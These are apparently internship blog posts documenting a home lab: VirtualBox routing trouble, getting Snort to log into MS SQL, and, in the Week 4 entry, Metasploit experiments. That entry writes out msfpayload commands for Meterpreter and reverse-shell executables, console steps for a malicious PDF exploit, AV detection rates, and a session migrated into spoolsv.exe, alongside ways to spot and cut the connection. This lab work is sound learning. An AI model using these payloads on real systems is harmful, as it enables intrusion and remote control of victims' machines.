SimWitty Internship: Week 7

Well, I've got a lot of ground to cover this week and next. The first thing that I have been working on this week was trying to document a standard method for creating and installing the Virtual Network that I will be using for the upcoming lab. This entails documenting the setup of the two servers and the two workstations, and all the myriad settings involved.

It is kind of a pain having to work around Windows activation. At the start of the internship I was pretty excited, so I installed the servers and workstations without meticulously documenting every step. Now I am faced with having to kind of "roll back" everything I have done so that I can describe it. I am afraid to just delete the existing VMs and start over again for fear of setting off activation protections and being denied the ability to reinstall them at all. Note to self, be more restrained in the future.

I figured I would have to do some brushing up on Active Directory and such. It's been awhile since I took any server focused classes but I figured no big deal. Then I ran into my first major hurdle. When I was first testing the idea for this lab, I hadn't actually experimented with my proposed routing scheme. I just wanted to be sure that I could see all the traffic on the wire. Now I am rapidly discovering that 1.) I need a lot of brush up on routing tasks, or 2.) there is something going on due to this being a virtual set up that is causing problems.

If you recall week five's theoretical network diagram, I wanted to set up the main server (AD domain controller and database server) as a dual homed machine. The 'exterior' NIC would be either VirtualBox bridged or NAT and the 'interior' NIC would be VirtualBox internal networking. My problem is that I cannot get the server to route between the two interfaces.

I thought I would keep it simple at first, and just enabled IPEnableRouter in the registry and added a static default route to the external IP. This didn't work though. I next tried installing and configuring Routing and Remote Access and couldn't make that work either. I have manged to get the DNS and DHCP going but this damn routing is killing me. I haven't yet decided if it is a problem because of the 'virtualness' of the network or just that I am doing something wrong. I need to maybe try the VirtualBox host only interface and see if that works. Will have to get this figured out fast, because this coming week is the most important part of the project.

Next week the focus is on coming up with an actual plan of attack for the lab, and writing up a proposal for the idea. I need to get input from my adviser and other team members, adjust the proposal accordingly and then write it up. I rate this as a very important task so I will have to solve this routing dilemma ASAP.

SimWitty Internship: Week 6

This week was spent doing more work with Snort to get it running proper in the virtual network. In a Windows environment, that is a lot of work with piss-poor documentation... so I hope I am making a valued contribution on that level by writing all this out.

The Simwitty project is working on a base set of instructions to govern getting Snort and MS SQL set up, just so everyone is on the same page. I followed these basic rules to get started but it took quite a bit of tweaking for things to start working. I documented all the steps I took for the install and that file will be available on the Simwitty Redmine pages.

The first issue I had (as noted last week) was that Snort wasn't talking to the database. This was even after I located a copy of ntwdblib.dll (I also found out I needed msvcr71.dll on this particular machine). I found a tip from Microsoft for testing the connection to a SQL Server. This entailed creating a file with a .udl extension, which will open as a shell dialog when double clicked, but in reality is just a text file. Details at How to connect to an instance of SQL Server Desktop Edition or of SQL Server 2005 Express Edition (http://support.microsoft.com/kb/319930) under the Verify connectivity section.

Once I created this file, it would connect fine but Snort was still a no go. I fired up Wireshark to see what was uhappening. In looking at the packets I could see the difference between the good connection and the failed connection. The thing that stood out was the difference between two strings.

Connect reads SQLEXPRESS and fail reads MSSQLServer. Thank God I am working with people that understand SQL Server, because I am very new to it. It was immediately pointed out to me that I must be running an instance with the name of SQLEXPRESS. By adding this to my snort.conf in the host definition of the database output section (sort of like a UNC, host=192.168.2.10\SQLEXPRESS) I was up and running.

Now it was just the ugly task of installing the Snort rules. As far as I could find, this procedure isn't clearly documented anywhere. At least nothing warned me of things like: 1) The snort.conf included with the snapshot is old and broken. Keep the one you modified from the install. 2) What's with the so_rules folder, is it necessary? I figured it was *nix related and deleted it. 3) Some files are newer in the snapshot, some files aren't. How to decide what to keep? 4) For crying out loud, do I need to install that signatures directory with its 16,000 files? It's a very frustrating experience and I am going to upload a file to the Simwitty Redmine detailing my travails.

SimWitty Internship: Week 5

This week I was doing some thinking about how I want to configure my network within VirtualBox. As of right now it will be populated by two workstations and two servers. The workstations both run Windows XP pro sp2 and the Servers both run Windows Server 2008 Standard edition.

One server will be configured to run the Snort engine and the other will be the database server. The database server will also be running: Active Directory as a domain controller, IIS, DNS, probably DHCP, and probably RRAS. VirtualBox can run its own DHCP server for internal networks (which this will be) via the command line VBoxManage, but I thought having the DHCP on an actual VM might make it more controllable.

The two XP machines will be domain members. I haven't decided whether to join the Snort machine to the domain. I guess I should since it can't run in stealth mode anyway, being a Windows box.

The Matriux machine is going to be an outsider for starters and we'll go from there. With the plan being to try client side attacks against the XP machines, I'm hoping the bad connections they make (to Matriux box) will be routed out to Matriux via the Domain Controller and if all goes according to plan the Snort machine will record everything. This is a conceptual map of what I am trying to achieve:

I have also been working on getting Snort installed on its machine. All is going well, and I went by our "Snort Integration v1 (draft)" It runs and logs just fine on the local machine but I am having a hell of a time getting it to connect to the DB server. For something in such wide use, Snort is one of the most difficult and poorly documented programs ever... Especially on Windows and Especially using MS SQL.

It took me a long time to find a trustworthy version of ntwdblib.dll, an old MS SQL interface library that Snort needs. I'm not even sure that SQL Server 2008 supports being used in this way. I think this will be the most difficult thing to get working. Well, at least my final class is over now so I have more time to dedicate to getting this thing working.

SimWitty Internship: Week 4

This week I went a lot more in depth with my study of the Metasploit Framework (thank you offensive-security.com, I promise I will donate to HFC as soon as I can afford it). What is the main thing I learned this week?

Metasploit is scary!

I had done a lot of messing about with the msf3 in previous classes, but mainly just simple reverse shells. This week I started exploring some of Metasploit's other possibilities such as executable creation, malicious pdf creation, and usage of Meterpreter sessions. Meterpreter is the reason for my conclusion that msf3 is a scary tool.

For starters, I tried my hand at creating some executable files using msfpayload. This can be done from the command line without having to start the framework:

./msfpayload windows/meterpreter/bind_tcp LHOST=192.168.2.200 LPORT=31337 X > /home/tiger/temp/msf_met.bind.tcp.exe

I uploaded this file to VirusTotal and it was detected by 12/39 engines (link to results) As per the instructions in the Metasploit Unleashed lesson (ch 8, Antivirus Bypass) I attempted using a payload of type windows/shell/reverse_tcp:

./msfpayload windows/shell/reverse_tcp LHOST=192.168.2.200 LPORT=31337 X > /home/tiger/temp/msf_shell.rev.tcp.exe

This executable was still detected by 11/40 engines (link to results). Although both of these were detected by some of the antivirus engines, the antivirus on my machine (Avast) picked up neither.

Next I thought I would try my hand at a malicious pdf. I did this from within the console:

use exploit/windows/fileformat/adobe_utilprintf
set OUTPUTPATH /home/tiger/temp
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.2.200
set LPORT 31337

You then just use the exploit command and the file will be created. This was detected by 11/40 engines (link to results). Thankfully, this was actually identified by my AV as: JS:Pdfka-AK [Expl].

Using Didier Stevens pdfid (http://blog.didierstevens.com/programs/pdf-tools/) it can be seen that there is both JavaScript and an OpenAction within this file:

C:\Documents and Settings\Jeff\My Documents\VirtBox_shared>pdfid msf.pdf
PDFiD 0.0.9 msf.pdf
 PDF Header: %PDF-1.5
 obj                    6
 endobj                 6
 stream                 1
 endstream              1
 xref                   1
 trailer                1
 startxref              1
 /Page                  1(1)
 /Encrypt               0
 /ObjStm                0
 /JS                    1
 /JavaScript            1(1)
 /AA                    0
 /OpenAction            1(1)
 /AcroForm              0
 /JBIG2Decode           0
 /RichMedia             0
 /Colors > 2^24         0

If you want to use Didier's pdf-parser tool, you can even view the obfuscated JavaScript within the file.

[click any picture to see a large version of it]

Next I decided to experiment with Meterpreter sessions. I moved my msf_met.bind.tcp.exe file over to the VictimXP machine and double clicked it. It showed up in as a listener in netstat and as a process in Process Explorer.

I then fired up msfconsole. The following commands got me ready to run and connected to the victim:

set PAYLOAD windows/meterpreter/bind_tcp
show options
set RHOST 192.168.2.50
exploit

I was then in a Meterpreter session. By typing help or ? you can see what commands are available to you. I did a ps to see what processes were running on VictimXP.

and decided that since spoolsv.exe (PID 1880) was running as system, I would migrate there. I did this by typing migrate 1880. Meterpreter responded that migration was successful. Here you can see that the msf_met.bind.tcp.exe process has disappeared.

Curiously, netstat still showed the connection as established, but listed the the owning PID as 1240. This was the PID of msf_met.bind.tcp.exe. Attempting taskkill /PID 1240 resulted in an error.

If we use Process Explorer to look at spoolsv.exe it doesn't show any open connections.

It would seem that we can see something is established, but we can't stop it. Thank God for TCPView.

Here we see PID 1240 as non-existent, but TCPView allows us to close the connection with a right click. After closing the connection with TCPView, I moved back over the the Meterpreter session. There was no warning of a disconnect, but when I issued a help command I was notified that the session had closed.

It is possible to notice something is strange on the victim machine by using Process Explorer, but the following methods would assume you knew a baseline memory size/handle count for every running process. We can see the changes by comparing the memory sizes of the spoolsv.exe process before...

and after...

...the migration of the Meterpreter session. The virtual memory, physical memory, and handle counts have all changed.

See what I mean about scary?

This has been a very interesting week, and I really look forward to working with the Metasploit Framework a lot more.